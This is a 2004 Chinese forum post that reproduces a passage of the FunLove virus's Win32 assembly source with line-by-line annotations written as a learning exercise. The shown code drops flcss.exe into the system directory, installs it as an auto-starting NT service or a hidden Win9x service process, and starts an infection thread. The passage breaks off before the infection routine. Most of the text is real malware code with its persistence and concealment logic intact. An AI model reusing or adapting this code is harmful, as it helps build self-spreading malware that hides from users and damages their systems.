?? funlove_vir.txt
字號:
補天論壇 - 編程與軟件開發
作 者 主題:FunLove完整病毒分析(推薦)
x-bit
日期:2004-9-27 20:43:26
--------------------------------------------------------------------------------
FunLove完整病毒分析(推薦)
www.hacker.com.cn 黑客防線
//學習win32匯編時,邊學邊找的個練手工具,停停寫寫的把注釋做出來了,
//感謝給我學習動力和幫助的朋友們,KomsBomb,Vbin.Whg,Wowocockl,Hume.guojpeng,Whale....
//還有我的女朋友,我永遠愛她
//我的水平很有限,東西肯定不是那么完美,好在我已經盡力做到詳細了,因為我覺得
//如同我一般的想入門的朋友很多,就是沒有一份詳細的資料,希望這個的東東可以給朋友
//們以啟發,里面有些問號的地方,表示我自己都不大理解,有知道了朋友,請告訴我一下
//小第不勝感激......
//希望大家看到有問題的地方一定要告訴我,這就是對我最大的鼓勵
//我們的論壇 http://bbs.logincom.com/bbs/cgi-bin/leoboard.cgi
// email:jackhy@21cn.com BY JACKHY /CVC.GB
.386
LARGESTACK
RADIX 16
ASSUME CS:CODE,DS:CODE
CODE SEGMENT USE32
org 100
main:
I equ 1000 - 300
@ equ + ebx - offset VStart
INCLUDE HEADER.ASM
VStart:
INCLUDE HEADER.ASM
; ------------------------------------------------------------------------- ;
; ---------------------------- Startup Code --------------------------- ;
; ------------------------------------------------------------------------- ;
Virus PROC NEAR
call GetVS ;調用getvs,定位;
lea esi,[HostCode @] ;取得變量hostcode,為后面的尋找kernel的基地址做準備;
mov edi,[esp] ;取得esp的地址,這里就是程序在kernel32中的返回地址;
sub edi,08
mov [esp],edi
movsd
movsd
push dword ptr [esp + 04];注意這個是esp+04,詳情看后面;
call RelocKernel32 ;調用relockernel32,初始化api地址;
or eax,eax;判斷返回的值時候是成功;
jz short Exit;失敗則跳轉;
cmp byte ptr [OS @],00 ;通過標志值判斷操作系統;
jnz short NT_Srv ;如果不是00(9x)的標志,就去nt模塊執行;
call Create9xProcess ;調用create9x進程,開始做9x下的處理;
ret ;返回;
NT_Srv: call CreateNTService ;調用nt進程。開始做nt/2000下的處理;
Exit: ret ;返回;
Virus ENDP
; ------------------------------------------------------------------------- ;
; -------------------- NT Service Creation Routine -------------------- ;
; ------------------------------------------------------------------------- ;
CreateNTService PROC PASCAL NEAR
LOCAL SCM_Handle : DWORD;定義本地變量,保存scm控制句柄;。
call RelocAdvapi32;取得高級api的入口地址
or eax,eax --------|
jz short CNT_Failed-----|錯誤處理;
push 02-------------------|
push 00 |
push 00 |
call OpenSCManagerA-------|以允許創建服務的方式打開manger的數據庫,并且返回 一個句柄保存在eax中;
or eax,eax -----------|
jz short CNT_Failed-----|錯誤處理;
mov SCM_Handle,eax;成功就保存在變量scm_handle中;
call CreateExecutable;調用過程建立文件flcss.exe
or eax,eax ----|
jz short CNT_Exit-----|文件存在則退出;
mov edi,0F01FF--------------|這里的具體含義是什么我不大懂
lea esi,[Service @] |
push edi |
push esi |
push SCM_Handle |
call OpenServiceA------------|打開指定的服務,函數執行成功則返回指向flc服務 的句柄
or eax,eax----------------|
jnz short CNT_Run----------|如果有這個服務就去啟動它;
xor eax,eax-----------------------|
push eax |
push eax |
push eax |
push eax |
push eax |
lea eax,[Buffer1 @] ; -> flcss.exe|
push eax |
push 01 ; ErrorControl|錯誤控制
push 02 ; Start |自動啟動的方式,本服務采用;
push 20 ; Type |這里是訪問權限,我不清楚
push edi |
push 00 |
push esi |
push SCM_Handle |
call CreateServiceA----------------|建立服務flc,關聯進程為flcss.exe
or eax,eax-----------------------|
jz short CNT_Failed--------------|錯誤處理
CNT_Run:
push 00------------|
push 00 |
push eax |
call StartServiceA-|啟動服務;
or eax,eax-----------|
jnz short CNT_Exit----|成功則退出;
CNT_Failed:
call StartInfectionThread;失敗,直接啟動感染線程;
CNT_Exit:
ret
CreateNTService ENDP
; ------------------------------------------------------------------------- ;
; -------------------- W9x Process Creation Routine ------------------- ;
; ------------------------------------------------------------------------- ;
Create9xProcess PROC NEAR
call CreateExecutable ;創建flcss.exe文件;
or eax,eax ----|比較返回值,失敗就退出
jz short P9x_Exit-|
P9x_00:
xor eax,eax ---------|
lea edi,[Buffer2 @] |
push edi |buffer2初始化;
push edi |
mov ecx,040 |
repz stosd -------------|
mov cl,06--------------|循環6次,壓入參數,為了createprocess做準備
push eax |
loop $ - 1--------------|
lea esi,[Buffer1 @]---|
push esi |
push 00 |
call CreateProcessA----|建立進程,執行flcess.exe
or eax,eax ----------|
jnz short P9x_Exit----|成功則返回
P9x_Failed:
call StartInfectionThread;失敗,就在宿主進程里直接創建一個線程執行;
P9x_Exit:
ret ;返回;
Create9xProcess ENDP
; ------------------------------------------------------------------------- ;
; --------------------- flcss.exe Creation Routine -------------------- ;
; ------------------------------------------------------------------------- ;
CreateExecutable PROC PASCAL NEAR
LOCAL c_FileHandle : DWORD, \ 定義本地變量c_filehandle,存放文件句柄用;
c_BytesWritten : DWORD ;定義本地變量c_bytewritten,存放寫入字節數;
USES esi,edi ;保存esi,edi的值,本過程結束后恢復;
lea edi,[Buffer1 @] ;取得buffer1的地址,用來存放路徑;
push edi ;保存,這里先壓,后面的操作用到的時候就可以不壓了
push 104;要取得的路徑的長度;
push edi;壓棧,做為getsystemdirectory的參數;
call GetSystemDirectoryA ;調用api得到系統目錄的路徑。結果保存在buffer1里
例如:btffer1里面為“C:\WINDOWS\SYSTEM"
add edi,eax ;eax返回的是實際長度,所以edi+eax就是指向現在的字符串的最后
mov al,‘\‘ ;
stosb ; 然后加上”\’號,構成完整的路徑"C:\WINDOWS\SYSTEM\";
lea esi,[Process @] -----|
movsd |把flcss.exe加在路徑后現在的buffer的內容是
movsd | C:\WINDOWS\SYSTEM\flcss.exe
movsd --------|
push 02 ; 建立文件;(這里有些奇怪,少了個參數)
call OpenFile
cmp eax,-1 ----| 失敗就退出
jz short CE_Exit--|
mov c_FileHandle,eax ;保存成功后的文件句柄;
lea edi,[VImports + 4 @] ---|
mov eax,-1 |
stosd |清理主引入表
stosd ---------------------|
lea edi,[Kernel32_Relocated @]----|
mov eax,[edi - 8] |清理第二個引入表;
stosd ---------------------|
push 00 -----------|寫入文件頭,把pe文件的頭部寫入到新建立的 |文件中去;
lea esi,c_BytesWritten |
push esi |注意:ebx是開始寫入的地址,在程序中,因為定 |位后它是做為的定位的基地址處理的,大家在看 |看前面的 VStart:
| INCLUDE HEADER.ASM
|因為程序包含了header.asm,所以這里其實就是 |指向了header.asm的開始位置,就是文件頭了
|所以就用的是ebx
push 0200 |
push ebx |
push c_FileHandle |
call WriteFile --------------|
push 00 --------------------|
push esi |寫入病毒體,把包括文件頭再內的病毒體一起寫 |入到文件中去
push Phys_VSize |
push ebx |
push c_FileHandle |
call WriteFile ----------------|
push c_FileHandle--------------|關閉文件
call CloseHandle---------------|
CE_Exit:
inc eax ;eax加1,做為成功與否的判斷;
ret ;返回;
CreateExecutable ENDP
; ------------------------------------------------------------------------- ;
; --------------------------- Viral Service --------------------------- ;
; ------------------------------------------------------------------------- ;
VService PROC NEAR;這里就是作為病毒體寫入后運行的程序段了,和直接執行的 不大相同;
call GetVS ;定位;
push dword ptr [esp]---|
call RelocKernel32-----|取得api的入口地址
or eax,eax-----------|
jz VS_Exit-----------|失敗退出;
cmp byte ptr [OS @],00----------|
jz short W9x_Service_Register--|比較開始判斷產生的os標志值,得到os的標志
如果是nt,就順序執行;
WNT_Service_Hacknowledge://nt模塊的處理,這里是//
call RelocAdvapi32;動態搜索高級api的入口地址;
or eax,eax-------|
jz VS_Exit-------|失敗退出本過程;
lea esi,[Buffer1 @]
xor eax,eax
lea ecx,[Service @];取得服務名,為后面的登記服務函數做準備;
lea edx,[ServiceDispatcher @];取得作為服務處理程序運行的過程的有效地址;
mov [esi],ecx---------|
mov [esi + 04],edx |
mov [esi + 08],eax |
mov [esi + 0C],eax |
|
push esi---------------|在buffer1中構造參數,壓棧,
call StartServiceCtrlDispatcherA;建立服務進程主線程即ServiceDispatcher與服 務控制管理器的連接,我的理解是在系統服務的數 據結構里面做個登記;
W9x_Service_Register:://9x模塊的處理,這里是//
lea esi,[USER32_Name @]-----|
push esi |
call LoadLibraryA------------|加載user32.dll庫
lea esi,[RegisterClassA + 7 @]----|
push esi |
push eax |
call GetProcAddress----------------|取得RegisterClass這個api的入口地址;
or eax,eax------------------|
jz short VS_00--------------|失敗就直接啟動感染線程;
mov [esi - 06],eax;成功就保存其入口地址;
lea esi,[Buffer1 @]--------|
mov edi,esi |
xor eax,eax |
mov ecx,0A |
repz stosd -----------------|初始化緩沖區,以作為下面的registercalssapi的參 數
mov dword ptr [esi + 04],-1 ---------|注冊一個窗體類,名字為flc;
mov dword ptr [esi + 10],400000 |
lea eax,[Service @] |
mov [esi + 24],eax |
|
push esi |
call RegisterClassA --------------------|
lea esi,[RegisterServiceProcess + 7 @]---|
push esi |
push dword ptr [Kernel32_Base @] |
call GetProcAddress-----------------------| 取得RegisterServiceProcess的入口 地址在kernel32的內存映射空間里
or eax,eax--------------------|
jz short VS_00----------------|失敗,直接啟動感染過程;
mov [esi - 06],eax;保存其入口地址;
call GetCurrentProcessId ;取得當前進程的唯一id,作為下面的api的參數;
push 01 ---------|
push eax |
call RegisterServiceProcess------|注冊當前進程為系統服務,既使得程序在
ctrl+del+alt里面消失
push 8*1000d ------------|
call Sleep---------------|睡眠8秒種;
VS_00:
call StartInfectionThread;啟動感染過程;
VS_Exit:
ret
VService ENDP
; ------------------------------------------------------------------------- ;
; ----------------------- NT Service Dispatcher ----------------------- ;
; ------------------------------------------------------------------------- ;
ServiceDispatcher PROC PASCAL NEAR
LOCAL Service_Handle : DWORD;定義本地變量保存服務句柄用;
call GetVS;定位;(可不可以不這么做?);
lea esi,[ServiceHandler @]----------|
lea edi,[Service @] |
push esi |
push edi |
call RegisterServiceCtrlHandlerA-----|返回一個用于可以控制服務的句柄
mov Service_Handle,eax;保存在service_handle這個變量中;
lea esi,[Buffer1 @]------|
mov edi,esi |
mov ecx,06 |
xor eax,eax |
repz stosd----------------|初始化緩沖區buffer1,全0
mov dword ptr [esi],10----------|
mov dword ptr [esi + 04],04 |
mov dword ptr [esi + 08],07-----|初始化參數;
push esi ----------------|
push Service_Handle |
call SetServiceStatus ------------|初始化當前狀態,并告訴win系統,come on, 我準備好了,我的當前的信息已經告訴你了
push 8*1000d-----|
call Sleep-------|睡眠8秒(為什么?又睡覺!!!?);
call StartInfectionThread;啟動感染子線程;
ret
ServiceDispatcher ENDP
; ------------------------------------------------------------------------- ;
; -------------------------- Service Handler -------------------------- ;
; ------------------------------------------------------------------------- ;
ServiceHandler PROC NEAR
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -